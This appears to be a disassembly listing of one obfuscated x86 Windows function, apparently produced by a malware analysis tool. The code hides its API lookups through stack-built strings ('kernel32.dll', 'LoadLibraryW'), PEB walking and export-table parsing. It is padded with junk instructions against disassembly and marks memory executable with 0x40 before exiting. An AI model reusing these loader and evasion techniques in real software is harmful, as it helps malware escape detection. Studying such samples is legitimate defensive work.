Function at 0x65017f91
Capabilities:
Get number of processors
Resolve function by parsing pe exports

Disassembly:
mov byte [ebp - 0xb6c], 0x72
mov byte [ebp - 0xb6b], 0x6f
mov byte [ebp - 0xb6a], 0x74
mov byte [ebp - 0xb69], 0x65
mov byte [ebp - 0xb68], 0x63
mov byte [ebp - 0xb67], 0x74
mov byte [ebp - 0xb66], 0
push edi
push edi
add esp, 4
xor edi, 0x86c9
sub edi, 0x6da2
pop edi
push edx
add edx, 0xaf43
add edx, 0xeea7
call 0x65017c9f
add byte [esi], bh
push eax
aaa
xor eax, 0x40493f3b
cmp eax, 0x5a04c483
les eax, [edx + ebx*2]
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x1f94], ecx
mov edx, dword [ebp - 0x1f94]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x1f98], eax
mov ecx, dword [ebp - 0x1f98]
mov dword [ebp - 0x1948], ecx
push ebx
push esi
add esp, 4
and ebx, 0x17895
sub ebx, 0x2d29
or ebx, 0x6d57
pop ebx
push ebx
jmp 0x65017cea
and ebx, 0x738b
sub ebx, 0xb828
add ebx, 0x6fdc
pop ebx
cmp dword [ebp - 0x1948], 0
jne 0x65017d15
mov dword [ebp - 0x378], 0
jmp 0x65017fd1
mov edx, dword [ebp - 0x1948]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
or al, 0x89
lea esp, [ecx + esi*8]
invalid
call dword [esi + 0x51]
add esp, 4
jmp 0x65017d35
and esi, 0x151c3
or esi, 0x1716d
jmp 0x65017d46
pop esi
push ecx
push ebx
add esp, 4
or ecx, 0x12674
or ecx, 0x17d3d
pop ecx
cmp dword [ebp - 0xedc], 0
jne 0x65017d71
mov dword [ebp - 0x378], 0
jmp 0x65017fd1
mov edx, dword [ebp - 0xedc]
mov dword [ebp - 0x5e0], edx
push esi
sub esi, 0x126c3
pop esi
push edi
or edi, 0x8259
pop edi
push eax
or eax, 0xd62b
jmp 0x65017d9c
call 0x65017dab
add byte [eax + 0x46], cl
dec ebx
xor al, 0x50
inc edx
push eax
dec ebx
inc eax
add esp, 4
pop eax
lea eax, [ebp - 0x1a88]
mov dword [ebp - 0xed8], eax
mov ecx, dword [ebp - 0x5e0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xed4], edx
xor eax, eax
mov word [ebp - 0x27c], ax
xor ecx, ecx
mov word [ebp - 0x144], cx
push esi
push ebx
add esp, 4
jmp 0x65017de8
or esi, 0x503a
call 0x65017dfa
add byte [0x3e374c32], dh
dec edx
add esp, 4
call 0x65017e0a
add byte [eax + eax*2], dh
cmp byte [esi + edi + 0x38], al
xor eax, 0x5e04c483
mov edx, dword [ebp - 0xed4]
mov ax, word [edx]
mov word [ebp - 0x12d2], ax
mov ecx, dword [ebp - 0xed4]
add ecx, 2
mov dword [ebp - 0xed4], ecx
mov dx, word [ebp - 0x12d2]
mov word [ebp - 0x27c], dx
mov eax, dword [ebp - 0xed8]
mov cx, word [eax]
mov word [ebp - 0x12d4], cx
mov edx, dword [ebp - 0xed8]
add edx, 2
mov dword [ebp - 0xed8], edx
mov ax, word [ebp - 0x12d4]
mov word [ebp - 0x144], ax
push edi
and edi, 0x90c4
or edi, 0x7a32
jmp 0x65017e7b
or edi, 0xc129
pop edi
push edx
call 0x65017e90
add byte [edx], dh
aas
xor edi, dword [ebx + esi]
dec ecx
dec edx
add esp, 4
or edx, 0x15aef
pop edx
movzx ecx, word [ebp - 0x144]
test ecx, ecx
jne 0x65017ebd
movzx edx, word [ebp - 0x27c]
movzx eax, word [ebp - 0x144]
sub edx, eax
mov dword [ebp - 0x1950], edx
jmp 0x65017f20
movzx ecx, word [ebp - 0x27c]
movzx edx, word [ebp - 0x144]
cmp ecx, edx
je 0x65017ddc
movzx eax, word [ebp - 0x27c]
xor eax, 0x20
movzx ecx, word [ebp - 0x144]
cmp eax, ecx
je 0x65017ddc
movzx edx, word [ebp - 0x27c]
movzx eax, word [ebp - 0x144]
cmp edx, eax
jge 0x65017f0a
mov dword [ebp - 0x194c], 0xffffffff
jmp 0x65017f14
mov dword [ebp - 0x194c], 1
mov ecx, dword [ebp - 0x194c]
mov dword [ebp - 0x1950], ecx
cmp dword [ebp - 0x1950], 0
jne 0x65017f69
push edx
push ecx
add esp, 4
add edx, 0x1f97
sub edx, 0x3034
add edx, 0x154c9
pop edx
push esi
and esi, 0x15d98
add esi, 0x3607
or esi, 0x5640
jmp 0x65017f5a
pop esi
mov edx, dword [ebp - 0x5e0]
mov dword [ebp - 0x378], edx
jmp 0x65017fd1
push edx
sub edx, 0x6e2f
pop edx
push ecx
add ecx, 0x1a6c
pop ecx
push ecx
push edi
add esp, 4
sub ecx, 0x1579f
call 0x65017f91
add byte [edi + ecx*2], dh
dec eax
dec esp
xor cl, byte [edi + 0x4f]
add esp, 4
and ecx, 0x8480
pop ecx
mov eax, dword [ebp - 0x5e0]
mov ecx, dword [eax]
mov dword [ebp - 0x5e0], ecx
mov edx, dword [ebp - 0x5e0]
cmp edx, dword [ebp - 0xedc]
je 0x65017fc7
mov eax, dword [ebp - 0x5e0]
cmp dword [eax + 0x30], 0
jne 0x65017d7d
mov dword [ebp - 0x378], 0
push eax
push edx
add esp, 4
jmp 0x65017fdf
and eax, 0x8d67
pop eax
push ebx
call 0x65017ff3
add byte [ebp + edi + 0x3e], cl
xor dh, byte [0x4c48347]
or ebx, 0xa295
add ebx, 0xcc3f
pop ebx
cmp dword [ebp - 0x378], 0
jne 0x6501891d
mov ecx, 0x6b
mov word [ebp - 0x1b3c], cx
mov edx, 0x65
mov word [ebp - 0x1b3a], dx
mov eax, 0x72
mov word [ebp - 0x1b38], ax
mov ecx, 0x6e
mov word [ebp - 0x1b36], cx
mov edx, 0x65
mov word [ebp - 0x1b34], dx
mov eax, 0x6c
mov word [ebp - 0x1b32], ax
mov ecx, 0x33
mov word [ebp - 0x1b30], cx
mov edx, 0x32
mov word [ebp - 0x1b2e], dx
mov eax, 0x2e
mov word [ebp - 0x1b2c], ax
mov ecx, 0x64
mov word [ebp - 0x1b2a], cx
mov edx, 0x6c
mov word [ebp - 0x1b28], dx
mov eax, 0x6c
mov word [ebp - 0x1b26], ax
xor ecx, ecx
mov word [ebp - 0x1b24], cx
push eax
push ecx
add esp, 4
xor eax, 0x12fef
jmp 0x650180ba
sub eax, 0x222b
pop eax
push ecx
push esi
add esp, 4
add ecx, 0x909b
pop ecx
push edx
and edx, 0xe7f4
add edx, 0x5dbf
pop edx
mov byte [ebp - 0xb14], 0x4c
mov byte [ebp - 0xb13], 0x6f
mov byte [ebp - 0xb12], 0x61
mov byte [ebp - 0xb11], 0x64
mov byte [ebp - 0xb10], 0x4c
mov byte [ebp - 0xb0f], 0x69
mov byte [ebp - 0xb0e], 0x62
mov byte [ebp - 0xb0d], 0x72
mov byte [ebp - 0xb0c], 0x61
mov byte [ebp - 0xb0b], 0x72
mov byte [ebp - 0xb0a], 0x79
mov byte [ebp - 0xb09], 0x57
mov byte [ebp - 0xb08], 0
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1f9c], edx
mov eax, dword [ebp - 0x1f9c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1fa0], ecx
mov edx, dword [ebp - 0x1fa0]
mov dword [ebp - 0x1954], edx
push edx
add edx, 0x17432
xor edx, 0xcff1
jmp 0x65018170
call 0x65018180
add byte [eax + 0x3e], al
aas
aaa
xor eax, 0x474f4c34
add esp, 4
pop edx
push edi
push ebx
add esp, 4
add edi, 0x28b4
pop edi
cmp dword [ebp - 0x1954], 0
jne 0x650181a8
mov dword [ebp - 0x8ac], 0
jmp 0x65018464
mov eax, dword [ebp - 0x1954]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xee8], edx
push edi
push ecx
add esp, 4
jmp 0x650181c6
add edi, 0xe2e7
add edi, 0xbcf4
call 0x650181e0
add byte [esi], dh
xor al, byte [ecx + 0x47]
inc edx
inc edx
inc ebx
inc ebp
add esp, 4
pop edi
push eax
add eax, 0x3e85
pop eax
cmp dword [ebp - 0xee8], 0
jne 0x65018204
mov dword [ebp - 0x8ac], 0
jmp 0x65018464
mov eax, dword [ebp - 0xee8]
mov dword [ebp - 0x5e4], eax
push edx
push edx
add esp, 4
add edx, 0x13c31
sub edx, 0x931
jmp 0x65018229
pop edx
push edx
push esi
add esp, 4
sub edx, 0x109a4
and edx, 0x1275d
xor edx, 0xa281
pop edx
lea ecx, [ebp - 0x1b3c]
mov dword [ebp - 0xee4], ecx
mov edx, dword [ebp - 0x5e4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xee0], eax
xor ecx, ecx
mov word [ebp - 0x280], cx
xor edx, edx
mov word [ebp - 0x148], dx
push ecx
push edx
add esp, 4
jmp 0x6501827c
add ecx, 0xa25f
and ecx, 0x609c
or ecx, 0x15d58
pop ecx
push ebx
push eax
add esp, 4
or ebx, 0x13c2
sub ebx, 0x420
pop ebx
mov eax, dword [ebp - 0xee0]
mov cx, word [eax]
mov word [ebp - 0x12d6], cx
mov edx, dword [ebp - 0xee0]
add edx, 2
mov dword [ebp - 0xee0], edx
mov ax, word [ebp - 0x12d6]
mov word [ebp - 0x280], ax
mov ecx, dword [ebp - 0xee4]
mov dx, word [ecx]
mov word [ebp - 0x12d8], dx
mov eax, dword [ebp - 0xee4]
add eax, 2
mov dword [ebp - 0xee4], eax
mov cx, word [ebp - 0x12d8]
mov word [ebp - 0x148], cx
push eax
add eax, 0x828c
add eax, 0xc7c2
sub eax, 0xddf0
pop eax
push eax
push eax
add esp, 4
call 0x65018323
add byte [ebx], dh
cmp dh, byte [0x50433835]
cmp eax, 0x4c48347
jmp 0x6501832c
pop eax
movzx edx, word [ebp - 0x148]
test edx, edx
jne 0x65018350
movzx eax, word [ebp - 0x280]
movzx ecx, word [ebp - 0x148]
sub eax, ecx
mov dword [ebp - 0x195c], eax
jmp 0x650183b3
movzx edx, word [ebp - 0x280]
movzx eax, word [ebp - 0x148]
cmp edx, eax
je 0x6501826f
movzx ecx, word [ebp - 0x280]
xor ecx, 0x20
movzx edx, word [ebp - 0x148]
cmp ecx, edx
je 0x6501826f
movzx eax, word [ebp - 0x280]
movzx ecx, word [ebp - 0x148]
cmp eax, ecx
jge 0x6501839d
mov dword [ebp - 0x1958], 0xffffffff
jmp 0x650183a7
mov dword [ebp - 0x1958], 1
mov edx, dword [ebp - 0x1958]
mov dword [ebp - 0x195c], edx
cmp dword [ebp - 0x195c], 0
jne 0x650183fc
push edx
xor edx, 0xd528
and edx, 0x15c4d
add edx, 0x68e7
pop edx
push ebx
push edi
add esp, 4
or ebx, 0x2ad1
xor ebx, 0xe04d
xor ebx, 0x2dc3
sub ebx, 0xa142
pop ebx
mov eax, dword [ebp - 0x5e4]
mov dword [ebp - 0x8ac], eax
jmp 0x65018464
push ecx
sub ecx, 0x138d8
pop ecx
push ecx
push edi
add esp, 4
and ecx, 0x23bd
or ecx, 0x14f3c
call 0x65018424
add byte [edx], bh
inc ebp
dec ebx
inc ebp
inc esp
cmp byte [ebp + 0x41], cl
inc ebx
add esp, 4
sub ecx, 0x14812
pop ecx
mov ecx, dword [ebp - 0x5e4]
mov edx, dword [ecx]
mov dword [ebp - 0x5e4], edx
mov eax, dword [ebp - 0x5e4]
cmp eax, dword [ebp - 0xee8]
je 0x6501845a
mov ecx, dword [ebp - 0x5e4]
cmp dword [ecx + 0x30], 0
jne 0x65018210
mov dword [ebp - 0x8ac], 0
push ebx
push esi
add esp, 4
or ebx, 0x1136a
xor ebx, 0xcc8d
and ebx, 0x2336
pop ebx
push edi
add edi, 0x517c
sub edi, 0x5b48
pop edi
push edx
push esi
add esp, 4
sub edx, 0x1453b
pop edx
cmp dword [ebp - 0x8ac], 0
jne 0x650184e0
push edx
or edx, 0xe9d6
add edx, 0x10fad
jmp 0x650184b5
pop edx
push ebx
push eax
add esp, 4
add ebx, 0x17a0c
jmp 0x650184ca
sub ebx, 0x13202
pop ebx
mov dword [ebp - 0xc1c], 0
jmp 0x6501901d
push edx
and edx, 0x73bc
and edx, 0x5b97
or edx, 0x1412e
pop edx
push eax
push edx
add esp, 4
or eax, 0xbc8f
sub eax, 0x11d3d
xor eax, 0x4e24
and eax, 0x1f63
pop eax
mov edx, dword [ebp - 0x8ac]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x3d0], eax
mov dword [ebp - 0x8bc], 0
mov ecx, dword [ebp - 0x3d0]
mov dword [ebp - 0x19a0], ecx
cmp dword [ebp - 0x19a0], 0
jne 0x65018551
mov edx, dword [ebp - 0x8bc]
mov dword [ebp - 0x490], edx
jmp 0x65018842
mov eax, dword [ebp - 0x19a0]
mov ecx, dword [ebp - 0x3d0]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x19a4], ecx
jne 0x65018579
mov edx, dword [ebp - 0x8bc]
mov dword [ebp - 0x490], edx
jmp 0x65018842
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x19a4]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x19a8], eax
cmp dword [ebp - 0x19a8], 0
jne 0x650185ab
mov ecx, dword [ebp - 0x8bc]
mov dword [ebp - 0x490], ecx
jmp 0x65018842
mov edx, dword [ebp - 0x3d0]
add edx, dword [ebp - 0x19a8]
mov dword [ebp - 0x8b0], edx
jne 0x650185d0
mov eax, dword [ebp - 0x8bc]
mov dword [ebp - 0x490], eax
jmp 0x65018842
mov ecx, dword [ebp - 0x8b0]
mov edx, dword [ebp - 0x3d0]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x23b0], edx
mov eax, dword [ebp - 0x8b0]
mov ecx, dword [ebp - 0x3d0]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x1fa4], ecx
mov edx, dword [ebp - 0x8b0]
mov eax, dword [ebp - 0x3d0]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x1fa8], eax
mov dword [ebp - 0x8b4], 0
jmp 0x6501862a
mov ecx, dword [ebp - 0x8b4]
add ecx, 1
mov dword [ebp - 0x8b4], ecx
mov edx, dword [ebp - 0x8b0]
mov eax, dword [ebp - 0x8b4]
cmp eax, dword [edx + 0x18]
jae 0x65018836
mov ecx, dword [ebp - 0x8b4]
mov edx, dword [ebp - 0x23b0]
mov eax, dword [ebp - 0x3d0]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x8b8], eax
mov ecx, dword [ebp - 0x8b4]
mov edx, dword [ebp - 0x1fa4]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x1fa8]
mov edx, dword [ebp - 0x3d0]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x1fac], edx
mov dword [ebp - 0x1e8], 0
jmp 0x6501869a
mov eax, dword [ebp - 0x1e8]
add eax, 1
mov dword [ebp - 0x1e8], eax
mov ecx, dword [ebp - 0x8b8]
add ecx, dword [ebp - 0x1e8]
movsx edx, byte [ecx]
test edx, edx
je 0x6501874c
mov eax, dword [ebp - 0x1e8]
movsx ecx, byte [ebp + eax - 0xb14]
test ecx, ecx
je 0x6501874c
push ecx
push eax
add esp, 4
xor ecx, 0x11f9f
and ecx, 0x16293
or ecx, 0x163ce
add ecx, 0x18333
pop ecx
push ebx
push edx
add esp, 4
add ebx, 0x819c
pop ebx
push edi
xor edi, 0xfd13
pop edi
mov edx, dword [ebp - 0x8b8]
add edx, dword [ebp - 0x1e8]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x1e8]
movsx edx, byte [ebp + ecx - 0xb14]
cmp eax, edx
je 0x6501873e
mov eax, dword [ebp - 0x8b8]
add eax, dword [ebp - 0x1e8]
movsx ecx, byte [eax]
xor ecx, 0x20
mov edx, dword [ebp - 0x1e8]
movsx eax, byte [ebp + edx - 0xb14]
cmp ecx, eax
jne 0x65018745
jmp 0x6501868b
jmp 0x6501874c
push edx
push ebx
add esp, 4
jmp 0x65018757
or edx, 0x7dda
xor edx, 0x2a04
pop edx
push edx
sub edx, 0x1615a
and edx, 0x62f
and edx, 0x11fb1
xor edx, 0x14fab
pop edx
mov ecx, dword [ebp - 0x8b8]
add ecx, dword [ebp - 0x1e8]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1e8]
movsx ecx, byte [ebp + eax - 0xb14]
cmp edx, ecx
jne 0x650187ab
mov dword [ebp - 0xeec], 0
jmp 0x6501881a
push edx
push edx
add esp, 4
and edx, 0xdbdc
and edx, 0x11ec8
and edx, 0xb89f
add edx, 0x17357
pop edx
push ebx
or ebx, 0x69d6
or ebx, 0xc8dd
or ebx, 0x2529
pop ebx
mov edx, dword [ebp - 0x8b8]
add edx, dword [ebp - 0x1e8]
movsx eax, byte [edx]
or eax, 0x20
mov ecx, dword [ebp - 0x1e8]
movsx edx, byte [ebp + ecx - 0xb14]
or edx, 0x20
cmp eax, edx
jge 0x65018810
mov dword [ebp - 0xeec], 0xffffffff
jmp 0x6501881a
mov dword [ebp - 0xeec], 1
cmp dword [ebp - 0xeec], 0
jne 0x65018831
mov eax, dword [ebp - 0x1fac]
mov dword [ebp - 0x490], eax
jmp 0x65018842
jmp 0x6501861b
mov ecx, dword [ebp - 0x8bc]
mov dword [ebp - 0x490], ecx
cmp dword [ebp - 0x490], 0
je 0x6501891d
push ebx
push ecx
add esp, 4
call 0x65018864
add byte [edi], bh
inc ecx
cmp eax, 0x48363c40
inc edx
xor eax, dword [ebx + 0xbe804c4]
add byte [eax], al
add byte [eax], al
cmp al, 0x3e
dec ecx
dec ecx
inc ebx
inc esp
dec ecx
inc edi
inc esp
add esp, 4
or ebx, 0x1570b
pop ebx
mov edx, dword [ebp - 0x490]
mov dword [ebp - 0x1fb0], edx
push edx
or edx, 0x1b3e
pop edx
push esi
and esi, 0xe43c
sub esi, 0x12c38
pop esi
push edi
add edi, 0x82fa
pop edi
push eax
push esi
add esp, 4
or eax, 0x9fb3
jmp 0x650188be
pop eax
mov eax, dword [ebp - 0x1fb0]
mov dword [ebp - 0x1fb4], eax
lea ecx, [ebp - 0x1a88]
push ecx
call dword [ebp - 0x1fb4]
test eax, eax
jne 0x6501891d
push eax
or eax, 0x141d6
jmp 0x650188ec
pop eax
push edi
push edi
add esp, 4
sub edi, 0x7ab0
and edi, 0x404e
jmp 0x65018907
or edi, 0x9a99
pop edi
mov dword [ebp - 0xc1c], 0
jmp 0x6501901d
push edx
push edi
add esp, 4
xor edx, 0x4232
add edx, 0x8d4a
pop edx
push edx
xor edx, 0x8031
and edx, 0x1201e
sub edx, 0x10318
pop edx
push ecx
push ecx
add esp, 4
sub ecx, 0x397d
pop ecx
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1fb8], edx
mov eax, dword [ebp - 0x1fb8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1fbc], ecx
mov edx, dword [ebp - 0x1fbc]
mov dword [ebp - 0x19b0], edx
push eax
add eax, 0xcb5e
pop eax
push eax
push eax
add esp, 4
sub eax, 0x120f4
add eax, 0x75e1
or eax, 0xd870
or eax, 0x10f57
pop eax
push eax
push edx
add esp, 4
sub eax, 0xb8b9
pop eax
cmp dword [ebp - 0x19b0], 0
jne 0x650189c1
mov dword [ebp - 0x378], 0
jmp 0x65018c7d
mov eax, dword [ebp - 0x19b0]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xef8], edx
push ecx
sub ecx, 0x7db4
jmp 0x650189e1
xor ecx, 0x5a80
pop ecx
push esi
push edx
add esp, 4
sub esi, 0x10ff8
sub esi, 0xf692
pop esi
push edi
push esi
add esp, 4
jmp 0x65018a04
pop edi
cmp dword [ebp - 0xef8], 0
jne 0x65018a1d
mov dword [ebp - 0x378], 0
jmp 0x65018c7d
mov eax, dword [ebp - 0xef8]
mov dword [ebp - 0x5e8], eax
push esi
and esi, 0x12000
pop esi
push edi
call 0x65018a3e
add byte [edx], dh
cmp al, 0x3d
cmp eax, 0xc4834532
add al, 0xeb
add al, 0x47
dec edx
cmp dword [esi], edi
pop edi
push eax
sub eax, 0x17307
pop eax
push ecx
jmp 0x65018a5a
pop ecx
lea ecx, [ebp - 0x1a88]
mov dword [ebp - 0xef4], ecx
mov edx, dword [ebp - 0x5e8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xef0], eax
xor ecx, ecx
mov word [ebp - 0x284], cx
xor edx, edx
mov word [ebp - 0x14c], dx
push ecx
push ebx
add esp, 4
sub ecx, 0xdcef
add ecx, 0xe551
pop ecx
push eax
push ebx
add esp, 4
xor eax, 0x769
xor eax, 0x7467
xor eax, 0x158ac
jmp 0x65018ab9
pop eax
mov eax, dword [ebp - 0xef0]
mov cx, word [eax]
mov word [ebp - 0x12da], cx
mov edx, dword [ebp - 0xef0]
add edx, 2
mov dword [ebp - 0xef0], edx
mov ax, word [ebp - 0x12da]
mov word [ebp - 0x284], ax
mov ecx, dword [ebp - 0xef4]
mov dx, word [ecx]
mov word [ebp - 0x12dc], dx
mov eax, dword [ebp - 0xef4]
add eax, 2
mov dword [ebp - 0xef4], eax
mov cx, word [ebp - 0x12dc]
mov word [ebp - 0x14c], cx
push ecx
push edx
add esp, 4
sub ecx, 0xab1a
call 0x65018b2d
add byte [ebx + 0x46], cl
xor eax, 0x36424e3d
dec ebx
add esp, 4
call 0x65018b3c
add byte [edi + 0x36], al
aas
xor ecx, dword [eax + 0x48]
add esp, 4
or ecx, 0x25c2
pop ecx
movzx edx, word [ebp - 0x14c]
test edx, edx
jne 0x65018b69
movzx eax, word [ebp - 0x284]
movzx ecx, word [ebp - 0x14c]
sub eax, ecx
mov dword [ebp - 0x19b8], eax
jmp 0x65018bcc
movzx edx, word [ebp - 0x284]
movzx eax, word [ebp - 0x14c]
cmp edx, eax
je 0x65018a88
movzx ecx, word [ebp - 0x284]
xor ecx, 0x20
movzx edx, word [ebp - 0x14c]
cmp ecx, edx
je 0x65018a88
movzx eax, word [ebp - 0x284]
movzx ecx, word [ebp - 0x14c]
cmp eax, ecx
jge 0x65018bb6
mov dword [ebp - 0x19b4], 0xffffffff
jmp 0x65018bc0
mov dword [ebp - 0x19b4], 1
mov edx, dword [ebp - 0x19b4]
mov dword [ebp - 0x19b8], edx
cmp dword [ebp - 0x19b8], 0
jne 0x65018c15
push esi
push edx
add esp, 4
and esi, 0x15dee
xor esi, 0x2d36
add esi, 0x6dfb
add esi, 0x10912
pop esi
push edi
xor edi, 0x9039
pop edi
push eax
push esi
add esp, 4
sub eax, 0xda18
pop eax
mov eax, dword [ebp - 0x5e8]
mov dword [ebp - 0x378], eax
jmp 0x65018c7d
push esi
push ebx
add esp, 4
or esi, 0x72c
pop esi
push ecx
push edx
add esp, 4
sub ecx, 0x16db2
xor ecx, 0x1c1e
pop ecx
push edi
push edi
add esp, 4
jmp 0x65018c3e
pop edi
push eax
add eax, 0x7d3
pop eax
mov ecx, dword [ebp - 0x5e8]
mov edx, dword [ecx]
mov dword [ebp - 0x5e8], edx
mov eax, dword [ebp - 0x5e8]
cmp eax, dword [ebp - 0xef8]
je 0x65018c73
mov ecx, dword [ebp - 0x5e8]
cmp dword [ecx + 0x30], 0
jne 0x65018a29
mov dword [ebp - 0x378], 0
push edx
call 0x65018c8a
add byte [edx + 0x36], al
cmp eax, 0x834c3b34
les eax, [ecx + eax*4]
loop 0x65018c7e
aas
add byte [eax], al
add edx, 0xcfc6
or edx, 0xb6c1
pop edx
push esi
sub esi, 0x128a8
jmp 0x65018cae
pop esi
mov edx, dword [ebp - 0x378]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x3cc], eax
push ebx
push edx
add esp, 4
jmp 0x65018ccc
pop ebx
push edx
add edx, 0x12653
xor edx, 0x1163e
or edx, 0x5fe7
jmp 0x65018ce7
pop edx
push eax
or eax, 0x80aa
pop eax
mov dword [ebp - 0x8cc], 0
mov ecx, dword [ebp - 0x3cc]
mov dword [ebp - 0x19bc], ecx
cmp dword [ebp - 0x19bc], 0
jne 0x65018d20
mov edx, dword [ebp - 0x8cc]
mov dword [ebp - 0x5ec], edx
jmp 0x65019011
mov eax, dword [ebp - 0x19bc]
mov ecx, dword [ebp - 0x3cc]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x19c0], ecx
jne 0x65018d48
mov edx, dword [ebp - 0x8cc]
mov dword [ebp - 0x5ec], edx
jmp 0x65019011
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x19c0]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x19c4], eax
cmp dword [ebp - 0x19c4], 0
jne 0x65018d7a
mov ecx, dword [ebp - 0x8cc]
mov dword [ebp - 0x5ec], ecx
jmp 0x65019011
mov edx, dword [ebp - 0x3cc]
add edx, dword [ebp - 0x19c4]
mov dword [ebp - 0x8c0], edx
jne 0x65018d9f
mov eax, dword [ebp - 0x8cc]
mov dword [ebp - 0x5ec], eax
jmp 0x65019011
mov ecx, dword [ebp - 0x8c0]
mov edx, dword [ebp - 0x3cc]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x1fc0], edx
mov eax, dword [ebp - 0x8c0]
mov ecx, dword [ebp - 0x3cc]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x1fc4], ecx
mov edx, dword [ebp - 0x8c0]
mov eax, dword [ebp - 0x3cc]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x1fc8], eax
mov dword [ebp - 0x8c4], 0
jmp 0x65018df9
mov ecx, dword [ebp - 0x8c4]
add ecx, 1
mov dword [ebp - 0x8c4], ecx
mov edx, dword [ebp - 0x8c0]
mov eax, dword [ebp - 0x8c4]
cmp eax, dword [edx + 0x18]
jae 0x65019005
mov ecx, dword [ebp - 0x8c4]
mov edx, dword [ebp - 0x1fc0]
mov eax, dword [ebp - 0x3cc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x8c8], eax
mov ecx, dword [ebp - 0x8c4]
mov edx, dword [ebp - 0x1fc4]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x1fc8]
mov edx, dword [ebp - 0x3cc]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x1fcc], edx
mov dword [ebp - 0x1ec], 0
jmp 0x65018e69
mov eax, dword [ebp - 0x1ec]
add eax, 1
mov dword [ebp - 0x1ec], eax
mov ecx, dword [ebp - 0x8c8]
add ecx, dword [ebp - 0x1ec]
movsx edx, byte [ecx]
test edx, edx
je 0x65018f1b
mov eax, dword [ebp - 0x1ec]
movsx ecx, byte [ebp + eax - 0xb74]
test ecx, ecx
je 0x65018f1b
push ecx
push ecx
add esp, 4
sub ecx, 0x139c4
sub ecx, 0x6928
or ecx, 0x126c7
pop ecx
push edx
push edx
add esp, 4
xor edx, 0x174c3
pop edx
push ecx
or ecx, 0x34bb
xor ecx, 0x14fa
pop ecx
mov edx, dword [ebp - 0x8c8]
add edx, dword [ebp - 0x1ec]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x1ec]
movsx edx, byte [ebp + ecx - 0xb74]
cmp eax, edx
je 0x65018f0d
mov eax, dword [ebp - 0x8c8]
add eax, dword [ebp - 0x1ec]
movsx ecx, byte [eax]
xor ecx, 0x20
mov edx, dword [ebp - 0x1ec]
movsx eax, byte [ebp + edx - 0xb74]
cmp ecx, eax
jne 0x65018f14
jmp 0x65018e5a
jmp 0x65018f1b
push esi
push eax
add esp, 4
sub esi, 0x26ca
or esi, 0x2bd8
pop esi
push edx
xor edx, 0x7d8c
sub edx, 0x148b
pop edx
push esi
call 0x65018f49
add byte [ebx + 0x33], al
xor eax, 0x46394232
add esp, 4
pop esi
mov ecx, dword [ebp - 0x8c8]
add ecx, dword [ebp - 0x1ec]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1ec]
movsx ecx, byte [ebp + eax - 0xb74]
cmp edx, ecx
jne 0x65018f7a
mov dword [ebp - 0xefc], 0
jmp 0x65018fe9
push edx
push edi
add esp, 4
jmp 0x65018f87
and edx, 0x13858
sub edx, 0x83ac
pop edx
push eax
push ebx
add esp, 4
sub eax, 0x3415
xor eax, 0xb423
xor eax, 0xf128
pop eax
mov edx, dword [ebp - 0x8c8]
add edx, dword [ebp - 0x1ec]
movsx eax, byte [edx]
or eax, 0x20
mov ecx, dword [ebp - 0x1ec]
movsx edx, byte [ebp + ecx - 0xb74]
or edx, 0x20
cmp eax, edx
jge 0x65018fdf
mov dword [ebp - 0xefc], 0xffffffff
jmp 0x65018fe9
mov dword [ebp - 0xefc], 1
cmp dword [ebp - 0xefc], 0
jne 0x65019000
mov eax, dword [ebp - 0x1fcc]
mov dword [ebp - 0x5ec], eax
jmp 0x65019011
jmp 0x65018dea
mov ecx, dword [ebp - 0x8cc]
mov dword [ebp - 0x5ec], ecx
mov edx, dword [ebp - 0x5ec]
mov dword [ebp - 0xc1c], edx
push esi
add esi, 0x16842
add esi, 0x6471
or esi, 0x64cc
add esi, 0xa69
pop esi
push ebx
push edi
add esp, 4
add ebx, 0x8962
sub ebx, 0xb539
add ebx, 0xc568
pop ebx
mov eax, dword [ebp - 0xc1c]
mov dword [ebp - 0x1fd0], eax
lea ecx, [ebp - 0xf00]
push ecx
push 0x40
mov edx, dword [ebp - 0x19c8]
push edx
mov eax, dword [ebp - 0x494]
push eax
call dword [ebp - 0x1fd0]
test eax, eax
jne 0x650190c2
push edi
call 0x6501908b
add byte [eax + 0x3b], cl
inc edx
dec esi
xor eax, dword ds:[ebx + 0x8e804c4]
add byte [eax], al
add byte [eax], al
cmp bh, byte [0x38324445]
cmp dword [ebx + 0x505f04c4], eax
jmp 0x650190a8
jmp 0x650190ad
pop eax
mov ecx, dword [ebp - 0x8d4]
mov dword [ebp - 0x1fd4], ecx
push 0
call dword [ebp - 0x1fd4]
